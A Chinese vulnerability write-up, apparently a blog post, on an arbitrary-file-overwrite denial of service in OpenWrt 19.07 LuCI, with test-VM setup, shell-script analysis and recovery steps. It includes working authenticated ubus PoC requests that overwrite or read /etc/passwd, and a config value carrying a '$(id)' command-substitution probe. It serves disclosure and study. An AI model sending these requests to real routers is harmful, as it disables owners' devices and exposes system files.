OpenWrt LuCi 任意文件创建漏洞 0day

OpenWrt 当前最新的版本为 19.07,研究发现最新版本及旧版就存在任意文件创建漏洞,但写入的文件内容不受控制。利用这一特性可造成拒绝服务,导致路由器“变砖”。即任意文件覆盖导致拒绝服务。

已报告给 OpenWRT,但官方选择忽略。

OpenWrt x86 VMware 安装

1. 下载镜像文件

下载最新 OpenWrt 19.07 x86 镜像并解压。

1
2
wget https://downloads.openwrt.org/releases/19.07.0/targets/x86/generic/openwrt-19.07.0-x86-generic-combined-ext4.img.gz
gunzip openwrt-19.07.0-x86-generic-combined-ext4.img.gz

2. 转换镜像文件格式

使用 qemu 将 img 镜像文件转换为 VMare Worksation 所使用的 vmdk 格式。

1
2
sudo  apt-get  install  qemu-utils  -y
sudo qemu-img convert -f raw openwrt-19.07.0-x86-generic-combined-ext4.img -O vmdk openwrt-19.07.0-x86-generic-combined-ext4.vmdk

3. 新建虚拟机

新建虚拟机和平常 “自定义创建 Linux 虚拟机” 相似(即使用现有虚拟磁盘创建 Linux 虚拟机),但需要注意四点:

(1)选择稍后安装操作系统

image-20200111235501593

(2)磁盘类型选 IED

image-20200111235827411

(3)使用现有虚拟磁盘

image-20200112000113086

​ 然后选择前面转换的 vmdk 文件。

image-20200112000254134

4.配置网络

​ 新建好虚拟机后,还需要配置网络,添加一张网卡,否则无法正常获取 IP。切记在首次打开虚拟机需要在配置好双网卡之后。

​ 在 “设置” 中添加网络适配器,按照实际需要选择 “桥接” 或 “NAT”。

添加网卡

最后一步,在 /etc/config/network 设置 IP,然后我们就可以使用 WEB 进行访问,或使用 SSH 连接。使用ifconfig 获取当前自动分配 eth1 的 IP 地址,并把这个 IP 地址放在下图标注的位置中。

设置IP

然后,重启网络。

重启网络

5. 验证安装

WEB后台访问成功,设置好密码后,可以通过 SSH 访问。

Luci

OpenWrt 任意文件创建

OpenWrt 是三大主流路由器操作系统之一,市面上存在大量的基于 OpenWrt 开发的路由器,如极路由。OpenWrt 当前最新的版本为 19.07,研究发现最新版本及旧版就存在任意文件创建漏洞,但写入的文件内容不受控制。利用这一特性可造成拒绝服务,导致路由器“变砖”。即任意文件覆盖导致拒绝服务。

报告给 OpenWRT,但官方选择忽略。

曾遇到利用 OpenWRT 开发的产品,去掉了 System -> Startup -> Local Startup页面(不能执行任意命令),但保留了System -> System -> Logging。如使用本文提到的方法,将导致该设备“变砖”,给用户带来不可挽回的损失。

技术分析

LuCI 是OpenWrt 的 WEB 后台管理界面,在 System -> logging 页面可以设置系统日志的存储路径、日志文件大小、日志输出的等级等。日志功能采用 logread 实现,logread 用于读取系统日志,以下是 logread 的使用帮助。

logread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@OpenWrt:~# logread -h
logread: option requires an argument: h
Usage: logread [options]
Options:
-s <path> Path to ubus socket
-l <count> Got only the last 'count' messages
-e <pattern> Filter messages with a regexp
-r <server> <port> Stream message to a server
-F <file> Log file
-S <bytes> Log size
-p <file> PID file
-h <hostname> Add hostname to the message
-P <prefix> Prefix custom text to streamed messages
-f Follow log messages
-u Use UDP as the protocol
-t Add an extra timestamp
-0 Use \0 instead of \n as trailer when using TCP

1. WEB 端配置系统日志参数,传递到后台

现在我们来分析整个流程,首先设置日志文件大小为 1 KB,保存在 /etc/passwd 中,然后点击 “Save & Apply”。

设置日志参数

设置日志参数的 HTTP 请求如下,OpenWrt 通过调用 uciset 功能对配置文件/etc/config/system 进行设置,把 log_size 设置为 1,把log_file 设置为 /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST http://192.168.7.143/cgi-bin/luci/admin/ubus?1578741218608 HTTP/1.1
Host: 192.168.7.143
Connection: keep-alive
Content-Length: 192
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.7.143
Referer: http://192.168.7.143/cgi-bin/luci/admin/system/system
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: sysauth=b1f9ac240ca8135e2c41a12cca5c5cb6

[{"jsonrpc":"2.0","id":37,"method":"call","params":["b1f9ac240ca8135e2c41a12cca5c5cb6","uci","set",{"config":"system","section":"cfg01e48a","values":{"log_size":"1","log_file":"/etc/passwd"}}]}]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@OpenWrt:~# cat /etc/config/system 

config system
trueoption hostname 'OpenWrt'
trueoption ttylogin '0'
trueoption urandom_seed '0'
trueoption zonename 'UTC'
trueoption log_size '1'
trueoption cronloglevel '5'
trueoption log_proto 'udp'
trueoption log_file '/etc/passwd'
trueoption conloglevel '8'

config timeserver 'ntp'
truelist server '0.openwrt.pool.ntp.org'
truelist server '1.openwrt.pool.ntp.org'
truelist server '2.openwrt.pool.ntp.org'
truelist server '3.openwrt.pool.ntp.org'

2. 后台处理流程

/etc/init.d/log/etc/congfig/system读取出参数,并调用 logread实现日志获取和保存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 省略部分
PROG=/sbin/logread
start_service_file()
{
PIDCOUNT="$(( ${PIDCOUNT} + 1))"
local pid_file="/var/run/logread.${PIDCOUNT}.pid"

[ "$2" = 0 ] || {
echo "validation failed"
return 1
}
[ -z "${log_file}" ] && return

mkdir -p "$(dirname "${log_file}")"

procd_open_instance
procd_set_param command "$PROG" -f -F "$log_file" -p "$pid_file"
[ -n "${log_size}" ] && procd_append_param command -S "$log_size"
procd_close_instance
}

start_service()
{
config_load system
config_foreach validate_log_daemon system start_service_daemon
config_foreach validate_log_section system start_service_file
config_foreach validate_log_section system start_service_remote
}

首先使用config_load中调用uci_load /etc/config/system` 把参数读取到环境变量中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
CONFIG_APPEND=
uci_load() {
truelocal PACKAGE="$1"
truelocal DATA
truelocal RET
truelocal VAR

true_C=0
trueif [ -z "$CONFIG_APPEND" ]; then
truetruefor VAR in $CONFIG_LIST_STATE; do
truetruetrueexport ${NO_EXPORT:+-n} CONFIG_${VAR}=
truetruetrueexport ${NO_EXPORT:+-n} CONFIG_${VAR}_LENGTH=
truetruedone
truetrueexport ${NO_EXPORT:+-n} CONFIG_LIST_STATE=
truetrueexport ${NO_EXPORT:+-n} CONFIG_SECTIONS=
truetrueexport ${NO_EXPORT:+-n} CONFIG_NUM_SECTIONS=0
truetrueexport ${NO_EXPORT:+-n} CONFIG_SECTION=
truefi

trueDATA="$(/sbin/uci ${UCI_CONFIG_DIR:+-c $UCI_CONFIG_DIR} ${LOAD_STATE:+-P /var/state} -S -n export "$PACKAGE" 2>/dev/null)"
trueRET="$?"
true[ "$RET" != 0 -o -z "$DATA" ] || eval "$DATA"
trueunset DATA

true${CONFIG_SECTION:+config_cb
return "$RET"
}

然后 start_service_file 函数调用 procd_set_param command "$PROG" -f -F "$log_file" -p "$pid_file"从环境变量中拿到参数后,执行 logread 命令,实现日志获取和保存。

1
2
root@OpenWrt:~# ps |grep logread
5107 root 948 S /sbin/logread -f -F /etc/passwd -p /var/run/logread.1.pid -S 1

3. 文件被覆盖,OpenWrt拒绝服务

最初日志会附加在 /etc/passwd中,刚开始不会影响系统的正常运行,但当日志的大小超过/etc/config/system中的log_size的值时,之前的内容会被覆盖。

等待一段时间(延迟触发),或直接重启(立即触发)后,可以看到 passwd 被覆盖,超出 1K 之前的日志被放在了 passwd.old 中。OpenWrt 拒绝服务,WEB 后台、SSH 无法正常使用。如果这是一个真实的路由器,现在它已经“变砖”了。

passwd 被覆盖

POC

OpenWrt 版本:OpenWrt 19.07.0

测试平台:x86 VMware

1.设置日志大小和路径

修改系统日志的大小和存储:在 logging 页面把 “System log buffer size” 设置 1 KB,把 “Write system log to file” 设置为 /etc/passwd/。

设置日志参数

2. 生成 1K 以上的日志,覆盖 /etc/passwd

为了产生日志,最快的方法是重启OpenWrt。或等待一段时间,等待系统自动生成日志(延时触发)。

重启路由

3.OpenWrt 拒绝服务效果

1) Web 管理页面绝服务。

WEB DOS

2)通过”串口”进入路由器,发现 /etc/passwd 被重写,网络也断开了。

DOS 效果

3) 由于 passwd 文件被覆盖,SSH 无法认证用户,故无法使用。如果是真实的路由器,这个路由器就变砖了。

SSH 登录失败

4.演示视频

救砖

进测试了 X86 平台,其他平台可按照实际调整。

通过串口进入 OpenWrt,默认无身份验证,能进入 shell。只需要两步就能恢复。

(1)使用 passwd- 还原 passwd

(2)将 /etc/config/system 中的 log_file 置空,或改为其他无关的路径。

救砖

如果存在授权认证,通过串口不能进入交互式 Shell,就只能通过 uboot 重新刷写了。

有意思的内容

系统文件目录列举

1
2
3
4
5
6
7
8
9
10
11
12
POST /cgi-bin/luci/admin/ubus HTTP/1.1
Host: 192.168.7.143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: */*
Accept-Language: zh-CN
Referer: http://192.168.7.143/cgi-bin/luci/
Content-Type: application/json
Content-Length: 119
Origin: http://192.168.7.143
Connection: close

[{"jsonrpc":"2.0","id":2,"method":"call","params":["9e3e02d9aad24fbfba163537d17d9b83","file","list",{"path":"/www/"}]}]
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Cache-Control: no-cache
Expires: 0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 501

[{"id":2,"jsonrpc":"2.0","result":[0,{"entries":[{"type":"directory","inode":1179,"ctime":1575129153,"atime":1575129153,"uid":0,"mtime":1575129153,"gid":0,"mode":16877,"name":"cgi-bin","size":4096},{"type":"file","inode":1184,"ctime":1575129153,"atime":1575129153,"uid":0,"mtime":1575129153,"gid":0,"mode":33188,"name":"index.html","size":524},{"type":"directory","inode":1185,"ctime":1575129153,"atime":1575129153,"uid":0,"mtime":1575129153,"gid":0,"mode":16877,"name":"luci-static","size":4096}]}]}]

任意文件覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST http://192.168.7.143/cgi-bin/luci/admin/ubus?1578741218608 HTTP/1.1
Host: 192.168.7.143
Connection: keep-alive
Content-Length: 192
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.7.143
Referer: http://192.168.7.143/cgi-bin/luci/admin/system/system
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: sysauth=b1f9ac240ca8135e2c41a12cca5c5cb6

[{"jsonrpc":"2.0","id":37,"method":"call","params":["b1f9ac240ca8135e2c41a12cca5c5cb6","uci","set",{"config":"system","section":"cfg01e48a","values":{"log_size":"1","log_file":"/etc/passwd"}}]}]
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
Cache-Control: no-cache
Expires: 0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff

[{"id":40,"jsonrpc":"2.0","result":[0]}]

任意文件读取

/etc/shadow(文件权限400) 可能不是以root去读的,权限不够无法读取 。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /cgi-bin/luci/admin/ubus?1578715003061 HTTP/1.1
Host: 192.168.7.143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: */*
Accept-Language: zh-CN
Referer: http://192.168.7.143/cgi-bin/luci/admin/system/flash
Content-Type: application/json
Content-Length: 125
Origin: http://192.168.7.143
Connection: close
Cookie: sysauth=9e3e02d9aad24fbfba163537d17d9b83

[{"jsonrpc":"2.0","id":5,"method":"call","params":["9e3e02d9aad24fbfba163537d17d9b83","file","read",{"path":"/etc/passwd"}]}]
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Cache-Control: no-cache
Expires: 0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 322

[{"id":5,"jsonrpc":"2.0","result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\n"}]}]

奇怪 eavl

在分析中,发现了一段有趣的代码。

1
2
3
4
5
DATA="$(/sbin/uci ${UCI_CONFIG_DIR:+-c $UCI_CONFIG_DIR} ${LOAD_STATE:+-P /var/state
#DATA="$(uci -P /var/state -S -n export system 2>/dev/null)"
RET="$?"
[ "$RET" != 0 -o -z "$DATA" ] || eval "$DATA"
unset DATA

/etc/system/log中设置日志为例,config_load函数会调用到uci_load函数,上面的这段代码就摘自 uci_load。$DATA 的值是/etc/config/system的文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@OpenWrt:/etc/init.d# cat /etc/config/system

config system
trueoption hostname 'OpenWrt'
trueoption ttylogin '0'
trueoption urandom_seed '0'
trueoption zonename 'UTC'
trueoption log_size '64'
trueoption cronloglevel '5'
trueoption log_proto 'udp'
trueoption log_file '/etc/init.d/pwned$(id)'
trueoption conloglevel '7'

config timeserver 'ntp'
truelist server '0.openwrt.pool.ntp.org'
truelist server '1.openwrt.pool.ntp.org'
truelist server '2.openwrt.pool.ntp.org'
truelist server '3.openwrt.pool.ntp.org'

eval “$DATA” 能在当前环境能够运行,且会影响到环境变量。但是把这段代码单独拿出来就会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@OpenWrt:/etc/init.d# DATA="$(uci -P /var/state -S -n export system
2>/dev/null)"
root@OpenWrt:/etc/init.d# eval "$DATA"
-ash: eval: package: not found
-ash: eval: config: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: option: not found
-ash: eval: config: not found
-ash: eval: list: not found
-ash: eval: list: not found
-ash: eval: list: not found
-ash: eval: list: not found

自己琢磨了很久,也查了不少资料。最后发现 eval 仍然是按行执行的,只是每一行的第一段是函数名,如config函数。这些函数只有在特定环境下,再能被调用,否则无法识别。

系统函数

config_load

/lib/functions.sh

1
2
3
4
config_load() {
[ -n "$IPKG_INSTROOT" ] && return 0
uci_load "$@"
}

/lib/config/uci.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uci_load() {                                                                  
local PACKAGE="$1"
local DATA
local RET
local VAR

_C=0
if [ -z "$CONFIG_APPEND" ]; then
for VAR in $CONFIG_LIST_STATE; do
export ${NO_EXPORT:+-n} CONFIG_${VAR}=
export ${NO_EXPORT:+-n} CONFIG_${VAR}_LENGTH=
done
export ${NO_EXPORT:+-n} CONFIG_LIST_STATE=
export ${NO_EXPORT:+-n} CONFIG_SECTIONS=
export ${NO_EXPORT:+-n} CONFIG_NUM_SECTIONS=0
export ${NO_EXPORT:+-n} CONFIG_SECTION=
fi

DATA="$(/sbin/uci ${UCI_CONFIG_DIR:+-c $UCI_CONFIG_DIR} ${LOAD_STATE:+
RET="$?"
[ "$RET" != 0 -o -z "$DATA" ] || eval "$DATA"
unset DATA

${CONFIG_SECTION:+config_cb}
return "$RET"
}

config_foreach

/lib/functions.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
config_foreach() {
truelocal ___function="$1"
true[ "$#" -ge 1 ] && shift
truelocal ___type="$1"
true[ "$#" -ge 1 ] && shift
truelocal section cfgtype

true[ -z "$CONFIG_SECTIONS" ] && return 0
truefor section in ${CONFIG_SECTIONS}; do
truetrueconfig_get cfgtype "$section" TYPE
truetrue[ -n "$___type" ] && [ "x$cfgtype" != "x$___type" ] && continue
truetrueeval "$___function \"\$section\" \"\$@\""
truedone
}

config_get

1
2
3
4
5
6
7
8
# config_get <variable> <section> <option> [<default>]
# config_get <section> <option>
config_get() {
truecase "$3" in
truetrue"") eval echo "\"\${CONFIG_${1}_${2}:-\${4}}\"";;
truetrue*) eval export ${NO_EXPORT:+-n} -- "${1}=\${CONFIG_${2}_${3}:-\${4}}";;
trueesac
}

参考